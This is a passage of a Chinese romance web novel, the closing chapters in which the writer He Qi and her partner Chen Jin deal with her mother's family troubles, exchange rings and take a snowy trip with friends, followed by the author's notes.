“好吧。”李家佳表情变得沮丧,又想到了别的主意,“那这样呢,比如说你们有没有特别想去玩的城市,我和魏科年正好旅行到那里的时候,你们过来跟我们汇合,这样你们只用玩个三五天或者更短,我也好想和你一起旅行嘛。” 何漆听着,觉得这可行,抬眼询问陈津意见。 陈津微笑着点头:“我休年假,三五天可以空出来。” 李家佳听见,立刻在画面那边欢呼起来,何漆的果汁喝空了,伸手去端放在边上的一大扎,陈津察觉她的动作,先一步拿走她的杯子,给她倒果汁。 两双手在镜头上方交错了片刻,李家佳看到什么,眯了眯眼,突然震惊地呆住,难以置信道:“何漆,你手上什么东西?” 何漆被问得一时没反应过来,下意识看向自己刚收回来的左手,霎时了然。 她挑了挑眉,大方地把手平放在镜头前。 李家佳确定自己没眼花,响亮地吸了口气:“老天,这是啥意思。” 当初因为劳什子戒指闹得要死要活,她的心情也跟着天上地下的,现在这两人竟然坦坦荡荡地把这罪魁祸首戴手上了?! 跟她玩呢? 李家佳没明白他俩戴对戒是什么含义,但毕竟对方是何漆,她觉得应该不会是要结婚的意思,试探道:“那么贵的东西,你俩戴着图好看呢?” “嗯。”何漆点头,故意逗她,“陈津说看着好看买的。” 李家佳果不其然给了她一个大白眼:“你俩玩吧,我走了,八八六,再也不会相信任何漂亮女人的鬼话。” 何漆忍俊不禁,想哄一下,伸手去拿手机,却忘了果汁杯换了地方,手背撞到杯壁。 所幸陈津的反应也迅速,一下扶住杯子,只有几滴液体溅出:“小心点,宝贝。” 何漆头皮一紧,去看通话界面,发现李家佳手快,已经挂断视频,不知道听没听见陈津最后的话。 她顾不上这个,先拿纸巾擦桌子,一顿饭被果汁谋害了三次,何漆觉得这东西今天太危险,把它放远了些。 下一秒,微信里传来一连串爆发式的清脆提示音。 「???????」 「!!!!!!!」 「我耳朵坏掉了吗?」 「刚刚陈津叫你什么呢?」 「说好的最配性冷淡情侣呢,一直在演我吗?」 「何漆你必须给俺个说法!!」 「不管你是谁,都从我漆姐和姐夫身上下来!」 「何漆你这个超级无敌大坏蛋我讨厌你!!!」 何漆笑得没法进食,努力平复完心情,故作冷酷地回复。 「本人已有闺,勿扰勿动勿黑,懂?」- 吃完饭陈津就要回公司,牵着何漆散步到大楼前,问:“车钥匙给你,自己开车回去?” 何漆在风里缩了缩脖子,打开手机:“不想开,我要打车。” 韩洛刚刚给她发了消息,她打开文件粗略地看了眼,打算上车后再仔细查阅。 “好。”陈津报备,“今天我可能得晚上才回家,不能回去做晚饭。” 何漆点头说“知道了”。 陪着何漆等到了网约车,陈津独自回到公司,徐启航已经吃完饭,在工位上拿着同事送的一个糯米糍往嘴里塞,含糊道:“津哥,你没去食堂吗,怎么没碰到你。” “在楼下吃了点。”陈津回答。 “哦。”徐启航糊着满嘴的奶油,转过脸把陈津从头到尾打量了一遍—— 隔壁的咖啡机里是不是加了什么东西,怎么这么一会儿功夫陈津整个人就容光焕发的?难怪隔壁那帮人天天跟打了鸡血似的。不行,他待会儿也得去接一杯。 徐启航摸了把嘴,发现有 奶油沾上了,自己桌上的纸巾昨天用完忘记补,忙道:“津哥,给张纸巾。” 陈津抽了两张纸递过去。 徐启航注意到他的手,客套说:“呦,津哥你这戒指挺好看的。” 陈津瞥过去一眼,平淡道:“嗯,跟你嫂子一起戴的。” 徐启航:“……我问了吗?”- 陈津晚上十一点多才到家,进卧室后发现何漆已经睡下了,尽量无声地打开床头小灯,站在床边看了好一会儿她的睡颜。 在这个只有他们存在的静谧空间里,时间仿佛一瞬回到大学,他们会约着一起去图书馆,何漆学困了趴在桌子上小憩,让他二十分钟后记得叫醒她。 陈津答应下来,却在接下来的二十分钟里变得心猿意马,引以为傲的专注力彻底失灵,或者,用在了她露出的半张侧脸上。 笔尖无意识地在草稿纸上点出混乱的一团,有几处笔墨甚至透过了纸背,印到底下一张。 他有点想亲她。 但这里是图书馆,如果被人看到发上校园墙,他倒是不怎么在乎,可不确定何漆会怎么想…… 会跟他一样觉得无所谓,还是生气他的不分场合,或者感到羞愤与不被尊重地彻底厌恶他。 陈津想到后面那种可能,抵触地皱了皱眉。 那样她肯定会和他分手,然后从头到尾觉得他是个品行不端的烂人,连见他一面都觉得可恶,被她划进这辈子都不要再看见的那一类人里,虽然不知道以她的感情浓度,是否真的有这么恨的人…… 陈津强制打断了自己发散出去的十分幼稚的灾难性思维,只用笔的尾端碰了碰何漆的下巴。 二十分钟在他的时间观念里从未有过这么快,可他必须按照约定叫醒她了。 年少时睡在陈津桌边想吻而不能够的人,此刻正无比恬静地躺在他的床上,毫无防备,与他朝夕相处,成为彼此唯一的爱人。 他的视线往下移了几寸,看到何漆放在被子上的手。 左手中指上的戒指圈口大了些,在与被子的刮擦中脱落,悬挂在手指第二个关节的位置。 按照何漆的睡相,等到了明天早上,这戒指保准不见踪影。 陈津蹲下来,小心地为她把戒指摘下,放在床头柜上,然后又取下自己的,两枚对戒挨在一起,像那天他在展示柜看到的一样。 他盯着那莫名温馨的画面看了半晌,又凑去亲了亲何漆的嘴角,起身轻手轻脚地洗漱去了。 何漆不知睡了多久,起夜时发现身旁还是一片冰冷,从卫浴出来看了眼时间。 已经是凌晨了,还没有回来吗? 她从卧室出去,发现书房的地方透着点光亮,于是茫然地走过去。 书房里的灯确实开着,陈津就在里面,他戴着头戴式的耳机,睡衣板正地系好了所有扣子,领口严肃地卡在脖子处,整个人容色疲惫,眼睛微眯,显然是十分困倦。 何漆在门口站了半分钟,一直没打搅他,正打算回去睡觉,却听见陈津低哑的嗓音:“好,辛苦,再见。” 应该是结束了,他摘下耳机,保存完文件,迅速关了电脑,闭上眼揉着眉心缓神。 何漆拂了一下门框走进去,陈津听见脚步声睁开眼,露出意外神色,自责地问:“我吵醒你了吗?” “没有。”何漆轻声回答着,走到了陈津坐着的椅子与书桌之间的空隙。 眼睫犹豫地微颤了几下,她还是面朝陈津爬上了椅子。 两腿跪在陈津腿外的两侧椅面上,顺势坐下,很自然地坐在他的腿上,然后以面对面的姿势抱住了陈津的脖子。 何漆听见陈津深重的一次呼吸,然后他的双臂紧紧缠上来,一手往上,一手向下,将她整个箍在怀中。 陈津的脑袋比她低一些了,顺势自然地埋进她的颈窝。 然后,脖子上的皮肤传来温软的触感,被亲吻,被舔舐,被吸吮,到最后甚至像动物叼咬那样。 何漆眼神开始变化,然而她原本似乎真的只是想用这个姿势抱他一下,但……这样她觉得也好。 于是回吻了陈津的耳朵,问:“在书房吗?” 肩颈的吻瞬间变得有些针扎般的刺痛,何漆闭上眼又想明天会很累,试图反悔:“是不是有点太晚了?” “一次就好。”陈津用手掌焐了焐何漆略冰的脚,用尚存的理智说出这句话。 被推到书桌上时,何漆还差点摔了他的电脑,条件反射地把那重物拿住,何漆一颗心都快跳出来,骂他:“你别毛手毛脚的。” 陈津乖顺地受着,把电脑拿开,几秒前还端正在身上的睡衣已经挂在了椅子上。 “对不起宝贝,我小心一点。” 他一手用力撑在冰凉的桌面上,一手却有极度的柔软。 嗓子哑得不像话:“宝宝,会不会太硬了。”—— 作者有话说:李家佳:这么多年,终是让我吃到了闺蜜爱情的苦。 何漆:(龇牙笑) 感谢小天使们的霸王票和营养液~《 》 第51章【VIP】 第51章 春天,何漆喜欢的季节。 江市迎来一年中气温湿度最为适宜的时段,雨下得少,天空明朗地晴着,窗帘大开,清透的阳光照进屋子,微风拂面,草木生机,一片欣欣向荣之态。 何漆的事业也正欣欣向荣。 她已经是回声出版社各短篇文学期刊上的常客,其余杂志社也有不时的刊登,最近李秀兰甚至有意帮她牵线,审改了她的稿子后让她投递到几家更知名权威的杂志社试试,其中一篇两天前刚传来好消息。 走到这一步,她心里高兴,却同时拥抱着一种平和,不再觉得成功像梦一样降临。 下定决心要做的事,何漆总能做成。 这条被她自我印证了很多次的铁律已经成为了下意识的习惯,当一次成功出现时,她想的却是下一次的成功。 她的长篇还毫无起色,投出去的开头和故事梗概都被毙了,但她没放弃,一边阅读经典作品,一边坚持把那些故事在文档里写完。 与此同时,家里还添置了两样东西,何漆购入了一辆代步车,陈津重新测量了何漆精确的指围,分外执着地又买了对戒指。 陈津难得败家一回,何漆选择睁一只眼闭一只眼地把钱转出去。 今日温度偏低,何漆盘腿坐在客厅的地毯上,上半身整个往前倾,仿佛做瑜伽,实则在一边喝碳酸饮料一边看书。 汽水里的有颗气泡像是卡在喉咙的位置,即咽不下去也放不出来,让她难受了有一会儿。 但何漆看得实在太入迷,就没有变动自己不良的姿势,故事已经到了结尾前的最后一个高潮—— “铃铃。” 手机音量不知什么时候调到了那么大,突如其来的电话铃声将她吓了一大跳。 是徐燕打来的。 何漆不得不直起身子,喉咙里的不适感消失,她一手按住书页防止它们合上,一手去接电话。 “喂。”她道,“妈?” 对面反常地安静着,何漆的招呼没有得到任何回复,她终于把视线从书上挪开。 屏幕上方的通话时长还在一分一秒地过去,时间是真实地正在流淌,何漆不确定地提高音量:“喂,不小心按到了吗?” 依旧没有人说话,却有一声轻微的抽噎声,或者是对方吸了一下鼻子,因为手机音量开得很大,何漆清楚地听到了。 她心中顿时警铃大作,把书本一下倒扣,拿起 手机放到自己脸前,对着麦克风着急道:“妈?怎么了?你说话!” “漆漆。”徐燕声音闷闷的,何漆确定她是哭了。 “发生了什么事?你告诉我。” 徐燕却依旧不说话,只爆发出压抑的哭声。 何漆从地上站起,不知她到底怎么了:“我给你买最近的来江市的车票,你先过来吧。” 她退出去火速用徐燕的身份信息买好了车票,又把车票信息发给她,确认她会过来,打算先开车去车站等着。 临出门前她给陈津打了电话,距离他下班的时间已经很近了。 “我妈不知道出了什么事,刚给我打电话但没说清,我让她来江市,现在去车站等她。”何漆语速极快,正在等电梯。 陈津闻言态度也严肃起来,问:“需要我一起去吗?” “不用。”何漆道,“我先开车把她接到家里再说。” “好,有事随时给我电话。” “嗯。”- 何漆在一个小时后的车站闸口见到了徐燕,她的情绪已经大致收拾好,除了泛红的眼眶就看不出别的不对。 只身一人,带着手机和身份证。 何漆没立刻进行盘问,而是先带着她回到车上。 在密闭的、只有母女俩的空间里,何漆才道:“出什么事了?” 徐燕咬着唇,情绪显然在崩溃的边缘,何漆把车上的一整包纸都给了她,犹豫地问出最坏的猜测:“谁生病了吗?” 徐燕摇头。 不是健康问题就好,何漆一直悬着的心落了一半,系上安全带,先把车子往路上开。 车程到一半,遇上了个足有两分钟的红灯,徐燕像是做好了准备,觉得是时候开口,嗓音半哑地说:“是你爸爸……跟人做生意赔钱了。” 何漆蹙起了眉,她完全不知道有这回事。 “什么时候?赔了多少?” “元旦前一段时间开始的,他说他表亲要做餐饮,拉他投资,我一开始没肯……赔了二十万。” “我打给家里的钱不是一直交代你保管?”听到二十万这个数字,何漆心头的石头终于落地。 这笔钱对她来说当然是笔大钱,只不过和徐燕抽抽噎噎后又不敢跟她坦白、她在心里不停幻想的灭顶之灾比起来,二十万显然好接受得多。 “嗯……”徐燕仿佛心虚地低下了头,“你打给家里的钱我都在银行卡里存好的,没打算动,但是你爸爸铁了心地要,还说都是亲戚让我放心……我就骗他只有二十万。” 红灯要过了,何漆瞥向副驾一眼。 她这些年给家里了多少钱自己心中有数,二十万虽然多但也不是全部,然而忽地被告知这么一笔钱在她完全不知情的时候打了水漂,何漆不可能毫无怨气: “钱是我挣的,做事的时候家里没一个人知道要和我商量。现在生意是我爸赔的,你哭着来找我算什么意思?我爸人呢!” 打给徐燕的钱她从来都作扔了,没想会再要回来,赔了就当他们花了,也能过得去。 可这事儿怎么会要徐燕来跟她哭诉?何云平赔了她的钱还在宁市大摇大摆地睡觉呢? 徐燕又抽了两张纸,声音强撑着,泛点哆嗦:“银行卡我带过来了,家里钱够用,你的钱你还是自己保管……” 何漆压根不想听这个,她就想知道何云平干什么去了! 陡然间,何漆想起今年那气氛怪异的春节,原来事情早有蛛丝马迹,她也有所察觉,只是不曾深究。 再往前…… “你刚刚说我爸什么时候开始说要做生意的?” “元旦前没两天……” 何漆差点没把车停在马路中央。 她突然不再说话也不发问了,油门踩得重,沉默地驾车疾驰回家里。 直到轿车在地下车库停定,何漆解开安全带,转身盯着徐燕,把闷在心里一路让她怒火中烧的问题问了出来: “元旦我回家那天,你手上有伤,是不是何云平弄的?” 徐燕对她直呼父亲大名的行为感到不悦:“怎么喊你爸呢?” “我问你是不是他搞的!” 徐燕一下哑了,顾左右而言他:“他因为这个生意的事和我吵架,在气头上,我也拿饭碗砸他了,就是被推了一下……” “你过来之前呢?他是不是也动手了?不然你不可能给我打电话哭!” 徐燕宛如被戳中,愣了瞬,眼神一下又红了,却道:“没有……” 何漆不听了,转身把车门打开:“上楼。” 徐燕不是第一次来他们这儿,但以往来的次数一只手也能数得过来,多少有点拘谨,换上何漆拿的拖鞋就到客厅的沙发上坐下。 “离婚。”这是何漆进家门后说的第一句话。 徐燕背影一僵,不吭声,装没听见。 “我说离婚!”何漆不给她蒙混过关的机会,又高声说了一遍。 “你不要在那说疯话!”徐燕吵回去。 “谁说疯话?你不离我就报警!” “报警?你要让警察抓谁?我说了他没打我,我也不可能离婚,你自己不结婚就算了,还要叫你妈妈离婚?” “你以为我为什么不结婚?”何漆的语气毫无征兆地冷下来,透着股疲惫的无力,“是你们给我做了特别好的榜样吗?” 徐燕如坐针毡地在沙发上哽了好半天,把脸扭得更开,似乎在说气话:“你别结,最好一辈子都别给我结,我不管你了,我要回宁市。” “回什么回。”何漆刚拦住她,口袋里的手机就响起,是陈津打来的。 她让徐燕等等,先把电话接了。 “喂。”陈津沉稳的声音从另一头传来,安抚了何漆有些躁乱的心,“我多买了点菜回来,看你的车停已经在地库里了,我现在方便上去吗?” “嗯。”何漆道,“你上来吧,我妈妈也在。” 徐燕从她的话里听出这电话是谁打来的,等她挂断,顿时感到窘迫:“陈津要回家了?你跟他说我这就回去。” “回去干嘛。”何漆拉住她,“吃完晚饭再说。” “我过来什么礼品都没带……真是,不知道怎么了。”徐燕头脑清醒了点,终于发现自己的行为过于冲动,抹了抹眼睛想让自己看起来如常,内心懊悔。 何漆不以为意:“到自己女儿家里还要带什么。对了,我外面租着套房子,你晚上可以去那儿住。” 云苑那套当时租的时候是押一付三,原本打算这个月到期就退房。 徐燕奇怪:“你好端端地租房子干什么?” 何漆扯了扯嘴角,没提她和陈津吵架那茬:“钱多呗,我爸赔着玩,我烧着玩,你多住一天就多回本一天。” 徐燕不喜欢她嘴上没正经,正要教育,玄关处却传来动静,门开了。 陈津拎着一个大购物袋进来,看见徐燕后礼貌地打招呼:“阿姨好。” 徐燕跟陈津基本没怎么见过面,生分客套得很:“欸,你好,这个菜给我吧,我去做饭。” 陈津自然不可能给她:“不用,阿姨,您跟漆漆坐着聊会儿天吧,家里我做饭。” 他有意为两人提供单独的空间,然而看着陈津进了厨房,徐燕又拍打何漆的肩:“不知道去打下手?” 何漆耸耸肩,无辜道:“那您好好在沙发上看会儿电视,别想着飞回宁市,饭马上就好。” 厨房里根本没什么需要她打下手的地方,何漆站在冰箱旁边喝汽水,悠哉悠哉地晃。 陈津洗完菜,拿出刚买的小番茄洗好装盘,放在一边的台面上方便何漆食用,问:“怎么不出去等?” “我妈叫我来帮忙。” 陈津轻笑了声:“帮忙消灭水果饮料也算帮忙。” 何漆认同地点头。 陈津见她心情还算可以,也松了口气:“家里没出什么大事吧?” 何漆如实说了,对现在的她来讲确实不算无力对抗的大事。 陈津明了,又问:“客卧要去收拾出来吗?” “不用。”何漆摇头,“晚上我带我妈去云苑住吧。”- 吃完晚餐,何漆看出徐燕在他们这儿待得不自在,直接开车把人带去了云苑。 那房子有段时间没住人,物件上都落了 灰,徐燕看不下去,屁股都还没坐热,硬是拉着何漆一起做打扫,简直宾至如归。 何漆磨洋工地擦着根本不知道为什么要打扫的窗台,听见徐燕在背后发问:“对了,你今天来接我是跟公司请假了?” 何漆的动作停下来,沉默了片刻,突然不打算再隐瞒:“我换工作了。” “什么?”徐燕的嗓门都震惊得大了几分,“这么大的事怎么没跟家里说?现在是什么工作?之前那个不是挺好的,为什么不干了?” 一连串的问题抛过来,何漆没有回答,缓慢地转过头与徐燕对上视线。 其实没什么不一样。 他们投资不与自己商量,自己辞职也不曾知会家里,徐燕拼了命想让她结婚,她现在也万分想叫徐燕离婚。 一边忽视对方,一边又要控制对方,她确实是他们生养的小孩。 何漆默默把视线转回玻璃窗,盯着上头自己的倒影,不咸不淡地道了句:“现在的工作挺好的。” 话落,并不宽敞的屋子里只剩下细小的打扫声,徐燕竟没有再追问了。 当初留下的生活用品都还有剩余,徐燕在卫生间里洗漱,何漆给她拿了套自己的睡衣。 走到狭小的阳台吹风,清新的空气让她内心的郁结松动了些,她给陈津拨去电话。 “喂。”何漆说,“你打算睡了吗?” “还没,刚洗了澡,马上有个会。” “好吧,真辛苦。”何漆侧身靠住窗台,把手伸出窗户,感受着微凉的风从她指缝间穿过,说了句废话,“我晚上不回来。” “知道。那边的床会不会太小,跟你妈妈睡得下吗?” 何漆笑了:“我跟你都睡得下,跟我妈怎么可能睡不下?但是我睡沙发吧……” 她不记得自己上一次跟徐燕睡同一张床是什么时候了,小学?还是更早? “嗯,需要什么就告诉我,别不开心。” 何漆一瞬间弯了弯眼,她接受了这个程度的肉麻:“知道了,你准备开会吧。” 徐燕对于何漆主动要求睡沙发的举动并未发表意见,卧室的门开着,母女俩一墙之隔,没有任何夜间谈话,不约而同地沉默睡去。 一觉到天明。 何漆从一人宽的沙发上爬起来时,感觉身上比昨晚重了很多,低头一看,原本的毛毯上又多了床被子,是主卧的被褥。 她疑惑地伸长脖子往卧室里张望,发现里面早已没人。 视线转回来,一旁正对着沙发的餐桌上却放着一份早餐,何漆站起身走过去,看到早餐旁端正摆放的一张银行卡。 她确信徐燕走了。 找到充了一夜电的手机打开,微信里果然有她发来的消息。 三个小时前,七点二十七分。 「妈妈回去了,早饭记得吃,银行卡密码是你生日。」 何漆把手机扔到桌上,眼睛有点酸胀,揉了两次,重新拿起手机打字回复。 「知道了。」 犹豫片刻,她又补一句。 「有事给我打电话。」 半分钟后,徐燕发来一个微信表情自带的猪头符号。 何漆突然笑出声。 她在骂她起得太迟,像猪—— 作者有话说:感谢小天使的营养液~《 》 第52章【正文完】 第52章 二十万以一种谁都没料想到的速度轻轻揭过,徐燕回去的当天,何云平在微信上发了条近千字的长文给何漆,言辞恳切、自我检讨。 对于何云平这种一辈子浸透在大男子主义中的父亲来说,向女儿承认自己的错误显然是一件万分不容易的事情,但何漆不想理解,也并不在乎。 他的错误让家里亏损了二十万,他的道歉却不能让这二十万回来。 所以何漆只是问他,你跟我妈说过这些没有?- 云苑的房子没几天就要到期了,何漆提前一个月跟房东说过不再续租。 拿着小号的行李箱把屋子里自己的东西都清空时,心里涌上股淡淡的怅然若失。 她最后拍了张屋内的照片发给李家佳,毕竟当初是她陪着自己一起搬过来,两人又借此怀念感叹了半天。 工作伴随着每一个平常或不平常的日子。 何漆的写作肉眼可见地得心应手起来,韩洛依旧活力满满地在工作日与她跟进文稿情况,李秀兰的言辞在何漆日复一日的尊敬礼貌中逐渐不再那么犀利。 李家佳得知后终于承认李秀兰人性未泯。 徐燕短暂的出现和离开似乎在某个层面刺激到了何漆,那几天她简直没日没夜地捧着电脑待在书房里,陈津如果夜晚还有要处理的工作,也只能寻找别的地点进行。 署名为何漆的大量稿件以极短的时间间隔出现在韩洛与李秀兰的邮箱里,让人有种叹为观止之感。 韩洛甚至吓得发来问候,可能是有过什么经验,弱弱地问她最近还好吗。 接着,在某个无比平常的下午,何漆收到李秀兰的消息。 「最新的长篇可以,着手准备吧,不出意外下半年开始刊登。」 「其实你还算有天赋。」 李秀兰的第二句话远比第一句更令何漆感到惊讶,虽然这是她一直坚信的事,但从李秀兰嘴里说出来,就仿佛获得了权威的盖章。 于是,李家佳对她姑姑的评价也从人性未泯上升到了良心发现。 “别说我姑的事儿了。”李家佳躺在酒店的大床上,皮肤被海边的阳光晒黑了些,举着手机跟何漆视频通话,“你们什么时候一起来玩啊,好想你。” 李家佳原定的计划是跟魏科年先从国内的南方玩到北方,然而可能是被太阳晒怕了,她突然又改变计划,决定启程北上。 “北市正在下雪呢。”李家佳诱惑她,“这个月份,下雪哦!你难道不想看看吗?下雪!” 何漆的朋友圈里也有正在北市工作的朋友,这两天发了好多雪景,何漆刷到总是会点开实况看看,李家佳还真拿捏住了她的兴趣。 “你们几号飞北市?我问问陈津,他调节不开的话我就一个人过来玩两天。” “太好了啊啊!!我们九号中午落地!酒店我来定!等你!爱你!!”- “各位旅客,欢迎来到北市国际机场,现在是晚上九点二十二分,机舱外温度零下十八摄氏度,很荣幸与您共度了一段愉快的旅程,期待与您再次相会。” 飞机广播中传来专业的女声,何漆刚与陈津说完一段李家佳在海边旅行的趣事,自己先笑得两眼弯弯。 陈津被她眼中因包含期待而流露出的晶亮笑意感染,低头吻了下她的额头:“走吧。” 飞机降落得离航站楼还算近,何漆下机前穿上了随身带着的羽绒服,即便做足了心理准备,还是被零下的温度冻得一激灵。 她默默把手伸进陈津的羽绒衣口袋里,和那只比她温热得多的手掌牵住。 李家佳与魏科年比他们到得早,特意在当地租了车,开过来给两人接机。 相见的第一秒,李家佳猝然扑到何漆身上,要不是陈津在背后伸手稳了何漆一下,她俩一定会在大庭广众之下摔个屁蹲,并且何漆的脑海里存在着这种记忆。 四人里只有陈津和魏科年是第一次见面,互相寒暄后就打算立刻赶往酒店。 走出机场,鹅毛般的大雪从高空飘落到眼前,何漆甚至忘却了身上的寒冷,抬手去接雪花,眼底一片惊奇与欣喜。 “我就说你会喜欢,来得没错吧?”李家佳骄傲得像是与这雪景与有荣焉。 何漆点头,满心满眼都是在掌心里迅速堆积的雪花,抬起一点向陈津展示。 恋恋不舍地挪开视线去看陈津的反应,却发觉他的视线一直落在自己身上。 陈津拂了拂她肩头的一点白色:“你身上也有。” 回酒店的车程足有一个多小时,李家佳开车,魏科年坐副驾,何漆和陈津在后排。 闺蜜俩凑在一块儿时间就不会难过,两人把车子当ktv来回k了半个小时的歌,唱得累了又聊了半个小时的八卦。 最后何漆都倒在陈津肩头,听李家佳夸张的描述不停发笑,目光黏在那一小片车窗上。 就好像置身一个巨大的水晶球。 明天约了向导一早带他们去看山雪,到酒店时间已经不早,四人就没有再安排别的活动,赶紧回各自房间洗漱睡觉。 陈津从浴室出来时,看见何漆穿着睡袍,背对着他站在巨大的全景落地窗前。 窗外是浓郁的夜色,高楼大厦间缀着璀璨的灯火,密集的雪让眼前近半成的光景都是花白一片。 何漆只安静地立着,陈津却忽然觉得她也好像这天地间一场冷冽的雪。 腰上环住一双手,何漆被他从背后拥住,身上水润的热汽笼过来,何漆在他怀里缓慢转身,仰头吻他。 直白而热烈,唇舌很快就交缠在一起,舌面相抵,绕圈打转,从根部捋到尖端,互相侵占了彼此的全部温热。 陈津一手搂着她的腰,一手却握在了她的脖颈后,手指轻轻按压揉捏。 何漆刚刚在飞机上睡过很短的一觉,但姿势没躺好,起来时发现有点落枕。眼下表面看不出异常,那一块儿的肌肉却还是酸胀的。 果然,他才捏了没两下,何漆就比接吻更加承受不住,一下把头埋进了陈津的胸膛,抱怨:“好酸啊。” 陈津摸摸她的脑后:“去床上躺着吧宝贝,我给你按按。” 脸闷进枕头,何漆头朝下地平躺在柔软大床上,呼吸不太通畅,却舒服得压根不想动弹。 陈津手劲很大,却不是只用蛮力,五指很有技巧地为她按揉着右侧肩颈一带,紧张僵硬的肌肉在他的按摩中渐渐放松下来。 “痛了就哼一声。”陈津告诉她。 干燥的大掌还在不厌其烦地替她舒缓,仔细控制着力道,找准她感到最舒适的点。 被贴心谨慎地对待,何漆的身体和精神都得到极大的满足,昏昏欲睡前,她努力翻了个身,牵住陈津的两根手指,眼睛闭着,嘴巴都快张不开地含糊道: “我们睡觉吧宝宝……” 翌日,李家佳精神抖擞地挽着魏科年出门,何漆却像没睡饱似的被陈津牵着半搂在怀里。 上了向导开来接他们的保姆车,何漆又在暖风里靠着车窗缓缓睡过去。 一路远离城市中心,目之所及的房屋越来越矮,建筑密度越来越小,视野里除了大块的白竟一时再难找出别的颜色。 何漆就是在这片全然纯净的白茫茫中悠悠转醒,恍惚间还怀疑自己是在做梦,震撼得半晌没说出话来。 没过多久,车辆到达目的地缓缓停下。 李家佳兴奋到张牙舞爪,迫不及待地拉着魏科年跳下车。 何漆好笑地在背后看她,扶住陈津递给她的手,稳稳当当地走下来。 入眼只有无边无际的白。 他们脚下的道路是特意清扫融化出来的,两侧的积雪足有小腿高度那么厚,前方有几座低矮的房屋,淹埋在大雪中需要仔细分辨,再远处是片森林,不过此刻都只剩光秃秃的枯枝,全被厚重的雪花压弯,树底下似乎有什么动物…… “啪。”一个松散的雪团忽然打在何漆的肩头,雪粒顿时像打铁花般炸开。 何漆回神,朝前方笑得猖狂的李家佳看去。 李家佳挑了挑眉,对她挑衅地露出个鬼脸,高高举起另一只还握着雪团的手。 “啪。”又是一个,但这回李家佳失了准头,雪球落在何漆脚前几厘米的地方。 何漆不跟她废话,立刻弯腰抓了把雪,随便在掌心里团了团,瞄准,投掷。 形状不太规则的雪球在空中划过漂亮的抛物线,“啪”的一声,在李家佳脸上炸开。 何漆自己也没想到,大雪中的四人一时全都愣住。 三秒后—— “何漆你大爷!!” 寂静辽阔的雪地里响起李家佳愤怒又好笑的呐喊,紧接着是一个又一个雪球在空中出现,各种语气词混杂在大笑里,陈津与魏科年趁乱似乎也瞎扔了两个。 “啪。”“啪。”“啪啪。” 几声响亮的击打音效后,李家佳落了满身满脸的雪,何漆只衣角微脏。 “停!停!!”李家佳终于确定自己打不过她,好汉不吃眼前亏地开溜,“哼!我不跟你打了!我现在要去喂驯鹿!驯鹿!!” 向导把准备好的饲料篮给她,李家佳迈着失败者的步伐深一脚浅一脚地往远处森林走去了。 何漆的嘴角笑僵了,得意地拍拍手掌,白色的毛绒手套里沾了好多的雪花,隔着手套她也知道自己的手肯定冻得通红。 发丝和肩头也都散着雪,陈津侧身仔细为她清理,何漆便抬头张望李家佳的去向,只剩一个气呼呼的小背影。 她收回视线,一副若有所思的表情,另一侧的手不动声色地往旁边晃了一下,然后毫无征兆地看向陈津笑。 “怎么……” 陈津话还没来得及问完,眼前一白,一团雪就在他眼前炸开。 何漆再也忍不住地笑出声,跟李家佳一样选择打不过就跑,然而还没能溜出一步远,就被陈津一只手环住腰地捞了回来。 整个人短暂地腾空,惊呼一声,后背便结结实实地撞上他的胸膛。 陈津故意不抖掉脸上的雪,低下头用自己的脸去蹭何漆的。 又痒又凉。 何漆笑得不能自已,不停拍打陈津牢牢禁锢着她腰的手臂:“陈津!痒!哈……陈津陈津!!宝宝……” 无论何漆怎么叫他怎么求饶,陈津都不打算放过她,又蹭又亲:“活该,叫什么都没用了。” “老公、老公!”何漆笑得快喘不过气,情急之下喊出来。 也不是什么都没用。 陈津闻言动作一顿,不再使坏用脸上的雪蹭她,而是更近一步地亲吻。 虽然李家佳魏科年那两人跟着向导去喂驯鹿了,没人会看见,但何漆还是不习惯在外头这样亲密,稍稍挣开一点:“别亲了,我们也去看看驯鹿……” 陈津问她:“还拿雪砸我吗?” “不砸了,快放开吧。”何漆诚恳道。 “你再喊一声我就放开。” “喊什么?”何漆明知故问。 “你说呢?” “我怎么知道,陈津?” 陈津看出她故意逗自己,又把手收紧了些,大有她不喊就真的一直不放的架势。 “好了好了。”何漆拍他的手,“宝贝,宝宝,行了吧。” 陈津不吭声。 何漆又开始想坏主意,手刚要再去拿雪,就立刻被陈津眼疾手快地一把握住,嗔怪她:“你怎么这么坏?” 计谋被识破,何漆干脆破罐子破摔,试图在挣扎中够到一把雪,还跟他讲起条件:“你让我再砸一下我就喊。” “你砸我我就还蹭你。” “我发现你还不如李家佳大度,她刚刚被我砸了那么多下有说什么吗?” “她那是砸不过你,不是眼巴巴地站着被你砸。” “真聪明。” 何漆眼见挣脱不开,又生一计,反手去戳陈津的腰,她发现自己似乎并不知道陈津的腰上怕不怕痒,希望是怕的吧。 好像误打误撞猜对了,她感受到陈津的腹部往后退了一下,以为拿捏住了他的脉门。 何漆狡猾地勾了勾嘴角,好坏,正打算更坏。 谁料下一秒。 腰上的手臂带着她往后退了一步,天旋地转,轻微失重,眼前的景象飞速上移。 一声闷响。 陈津倒在背后的积雪上,而何漆顺势压在他身上。 算不上摔,只能说是有预料地倒下,何漆一时没反应过来什么情况。 天空在眼前,大地在身后,洋洋洒洒的雪花垂直地朝他们掉下来。 从未想过这样的幼稚话语会从陈津口中说出:“你太坏了,我要让天上的雪花砸你。” 何漆怔了一秒,难以言喻的心 情让她笑得胸腔轻震,笑到陈津有些羞恼地捏了捏她的腰,她才气不匀地开口:“老公,你脑子有病吧?” 话落,陈津突然摘掉了她左手的手套,把自己的左手覆盖上去,两枚戒指吻合在一起。 手更冷了,雪花还在听从陈津的指令迎面砸来,何漆的生命里从未出现过这样的画面,她安静下来,努力用眼睛与心记住这一刻。 人生确实是没有太多未来可言的,只有今日是金。 何漆在漫天飞雪中缓缓闭上眼,她忽然觉得不管此刻陈津向她提出什么要求她可能都会答应。 嗯,求婚除外—— 作者有话说:正文完,感谢每一位看到这里的读者! 因为是个超级玻璃心,所以连载期间不看评论,因此非常非常感谢每一个订阅、每一瓶营养液、每一张霸王票,谢谢你们让我知道还有人在观看这个故事,感谢! 不太会写番外,有特别想看的可以发在评论区,完结了我应该敢碰评论区了,鞠躬。《 》